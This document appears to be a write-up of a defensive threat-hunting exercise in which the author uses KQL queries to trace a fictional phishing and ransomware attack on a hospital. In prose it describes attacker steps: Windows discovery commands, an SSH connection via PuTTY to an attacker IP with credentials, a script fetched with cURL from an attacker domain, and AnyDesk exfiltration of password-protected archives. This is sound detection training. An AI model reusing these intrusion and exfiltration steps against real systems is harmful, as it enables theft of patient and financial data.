Section 1 - KQL 101

I'll start by scoping out Azure Crest's size and employee distribution.

Employees
| count

Employees
| summarize count() by role

There are 250 employees, with most being administrative or support staff, closely followed by medical staff and residential doctors. The hospital's IT department is very small, with only 5 persons as IT staff, a single IT director and a single database administrator.

Section 2 - Quarantine Quandary

There was an alert that a file got quarantined a few days ago; the filename contains the string "healthcare". I was told false positives are rather common, but better be safe than sorry.

SecurityAlerts
| where description contains "healthcare"

There are two alerts: one for the quarantined file, and another for an email reported as suspicious by user milowe (Resident Doctor Michel Lowe). The suspicious quarantined file is named New_Healthcare_Protocols.docm and has the hash 9195246412dc64c15e429887cac945bbde13c249d25dad01c7245219d1ac021a (which doesn't have any hits on VirusTotal). I decide to investigate the email first, since between the file being quarantined automatically by security software and the email being reported suspicious they could be connected, such as being part of a phishing campaign.

Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"

Immediately, there are a bunch of what are very clearly phishing emails; the links all lead to a download for macro-enabled Microsoft Word documents (.docm); the quarantined file New_Healthcare_Protocols.docm and Pediatric_Care_Update.docm; the senders are all suspicious domains, likely an attempt at typosquatting or impersonation of trusted third-parties. In order to get a better scope of the problem, I use:

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
Email
| where tostring(parse_url(link).Host) in (bad_domains)
//| distinct tostring(parse_url(link).Host)

There are 41 emails containing these malicious domains; this and other queries so far reveal that the threat actors are using only two email addresses for this campaign: medstaffinfo@hospitalcomm.org and healthupdate@gmail.com. The domains in the links seem to be deliberately alluding to official Azure Crest partners, such as medequipamateurs.org being a reference to medequippros.org. As a whole:

• The malicious domains are:
  • unhealthyrecordsystems.tech
  • medequipamateurs.org
  • takeyatimecarepartners.com
  • pharmasecondbest.net
• The malicious email addresses are:
  • medstaffinfo@hospitalcomm.org
  • healthupdate@gmail.com
• The subject lines are:
  • [EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨
  • [EXTERNAL] 🩺 Vital Update: Groundbreaking Pediatric Care Advances 🚀
  • [EXTERNAL] FW: [Alert!] Critical Pediatric Care Protocol Revamp 🌟
  • [EXTERNAL] FW: 🔑 Exclusive Access: Innovative Pediatric Care Techniques Unveiled 🔍
  • [EXTERNAL] FW: 👶 New! Revolutionary Pediatric Healthcare Strategies ✨
  • [EXTERNAL] [Urgent!] Mandatory Health Protocol Update 😱
  • [EXTERNAL] RE: 👶 New! Revolutionary Pediatric Healthcare Strategies ✨
  • [EXTERNAL] [Alert!] Critical Pediatric Care Protocol Revamp 🌟
  • [EXTERNAL] FW: 🚑 Attention Required: Urgent Pediatric Health Procedure Update 🌈
  • [EXTERNAL] RE: 🚑 Attention Required: Urgent Pediatric Health Procedure Update 🌈
  • [EXTERNAL] psst... Important Pediatric Care Procedure Changes 👀
• The files in the download links are:
  • Pediatric_Care_Update.docm
  • New_Healthcare_Protocols.docm

I'll check these domains against PassiveDns to see if I can uncover any new domains and IP addresses.

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct tostring(parse_url(link).Host)
| lookup PassiveDns on $left.Host == $right.domain
| distinct ip

Further nested lookups to find domains or more IP addresses don't return anything else. As a reminder, the malicious domains that point to these IP addresses are: unhealthyrecordsystems.tech, medequipamateurs.org, takeyatimecarepartners.com, pharmasecondbest.net.

During the investigation, The Valdorian Times posted a breaking news report on doctors being unable to access the hospital's internal systems and voicing their displeasure to the press.

Section 3 - The Phisher's Net

Things got more complicated with the Valdorian Times' reports. I keep on investigating, pivoting towards checking just how many of the targeted employees clicked on the links.

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (bad_domains)

There are 39 instances; using the distinct keyword shows that 37 distinct employees clicked the links and downloaded the malicious files. Notoriously, there is a new downloaded file: UrTottalyPwned.bat, downloaded off medequipamateurs.org by IP address 10.10.0.2; that same IP address downloaded New_Healthcare_Protocols.docm 29 days before. The affected employees are:

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (bad_domains)
| distinct src_ip
| lookup Employees on $left.src_ip == $right.ip_addr
| distinct role, name, src_ip, hostname
| sort by role asc

The IP address that downloaded New_Healthcare_Protocols.docm, followed by UrTottalyPwned.bat, belongs to the Database Administrator Roy Trenneman, who also designed and created the current ERP system in use by the hospital.

I want to check how many instances of these files exist on Azure Crest computers; to do so, I use:

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (bad_domains)
| distinct tostring(parse_path(tostring(parse_url(url).Path)).Filename)
| lookup FileCreationEvents on $left.Filename == $right.filename
| summarize count() by Filename

A total of 39 files; 38 are dropper files, and one is likely the malware responsible for locking up the database (or destroying it; in any case, the data is inaccessible).

Given these events, I'll investigate the Database Administrator's device.

ProcessEvents
| where hostname == "SUPER-DB-SERVER-9000"
and timestamp >= datetime(2024-03-04 11:28:18.0000)
and process_commandline !contains "SystemApps"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "Edge"
and process_commandline !contains "Teams"

After Roy opened the macro-enabled Microsoft Word document (.docm), it dropped an archive named heartburn.zip, which is decompressed to a dedicated folder Heartburn in the target's ProgramData directory; putty.exe is executed and used to establish a SSH (Secure Shell) connection to an attacker-controlled server (in this case, IP address 93.142.203.80, with the username have_ya_tried and the password turning_it_off_and_on_again). The threat actor now has hands-on-keyboard access to the Database Administartor's device, and starts executing a typical set of discovery commands:

• whoami: Displays user, group and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and user name. [Microsoft Learn].
• net user /domain: Displays all users belonging to the domain. [Microsoft Learn]
• net group "domain computers" /domain: Displays all users belonging to the group "domain computers" in the domain. [Microsoft Learn]
• net group "domain admins" /domain: Displays all users belonging to the group "domain admins" in the domain. [Microsoft Learn]
• net localgroup administrators: Used without additional parameters, **net localgroup <**GroupName> displays a list of users or global groups in a local group.. [Microsoft Learn]

dbhunter.exe is downloaded off the internet via Microsoft Edge (per FileCreationEvents) and executed to dump a list of all found databases as a plain text file on a staging folder. They use this list to programmatically copy, compress and encrypt sensitive data (such as financial records, patient records, and Roy's meme collection) off the database(s) located in Roy's device (which doubles as the hospital's server). The archives are: Financial_Records.7z (password: finnaberich), Patient_Records.7z (password: i<3mulah) and Roys_Meme_Collection.7z (password: mommawemadeit). The threat actor then uses cURL to download the PowerShell script anydesk_automation.ps1 off their server (unhealthyrecordsystems.tech). This script is run and used to connect to IP address 198.206.213.188 with the password thxfodacaviar and exfiltrate all previously created .7z archives.

Finally, they execute UrTotallyPwned.bat--downloaded at some point by the threat actor; there are no emails or other signs that Roy navigated to the download on their own--and replace all hospital computer's desktop wallpapers with a taunting image, and further disabled the ability to manually change it back.

I'll backtrack a bit and look for signs of the threat actor's recon efforts against Azure Crest in the next section.

Section 4 - dERPy Database

Repurposing my previous KQL queries, I use this to determine any threat actor activity in our website prior, during and after the attack:

let bad_emails =
Email
| where subject =~ "[EXTERNAL] 👶 New! Revolutionary Pediatric Healthcare Strategies ✨"
| distinct sender;
let bad_domains =
Email
| where sender in (bad_emails)
or reply_to in (bad_emails)
| distinct tostring(parse_url(link).Host);
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct tostring(parse_url(link).Host)
| lookup PassiveDns on $left.Host == $right.domain
| distinct ip
| lookup InboundNetworkEvents on $left.ip == $right.src_ip
| sort by timestamp asc

Evidently, the threat actor did their research. Notably, out of all their IP addresses, only one didn't browse our webpage.

The information they looked for included (clumsily) the hospital's finances (esp. revenue and profits), the hospital's network architecture, IT protocols, employee contact information, IT staff and cybersecurity staff, and information on the ERP system, including on its designer, Database Administrator Roy Trenemman; the recent staff layoffs and other cost-cutting measures (that included the creation and implementation of an in-house ERP system); and information on the ERP system's design, such as technologies used (SQlite, among others). Most damning, the threat actors were looking for ways to access pediatric patient records.

Unfortunately, they did access the internal share containing these records (https://azurecresthospital.med/internal_share/medical_records/pediatric) on March 1st.

As mentioned, UrTotallyPwned.bat rendered the databases inaccessible. Perhaps FileCreationEvents has a hint; for example, if they were encrypted, and if so with what file extension, what hostnames could've been affected besides the server, etcetera.

FileCreationEvents
| where timestamp >= datetime(2024-04-02 11:31:47.0000) //when the Batch script was executed

Not shown in the table above (which is an excerpt of the full results), but the Batch script encrypted all of Roy Trenemman's files (such as miscellaneous documents, images, etc.) and, since his device doubled as the hospital's ERP server, the databases themselves. Further, it's shown when the threat actor downloaded the mocking ransom wallpaper (which was set as the desktop wallpaper across all devices) and a ransom note (or otherwise a taunt) named WhatCouldPossiblyGoWrong.txt, likely referencing an article of that nature that the threat actors read during their recon.

The files were encrypted and appended with the .scholopendra file extension.

Section 5 - Bonus: Mo' Money Mo' Problems

Breaking kayfabe for a bit, but this section of the game corresponds to various trivia questions (such as who hosts what cybersecurity podcast) and some slight CTF-like puzzles (such as deobfuscating strings that use a variety of cipher algorithms, such as ROT13, or encoding algorithms such as base64). It is thus omitted; but I do recommend tools such as CyberChef and dCode.fr for these.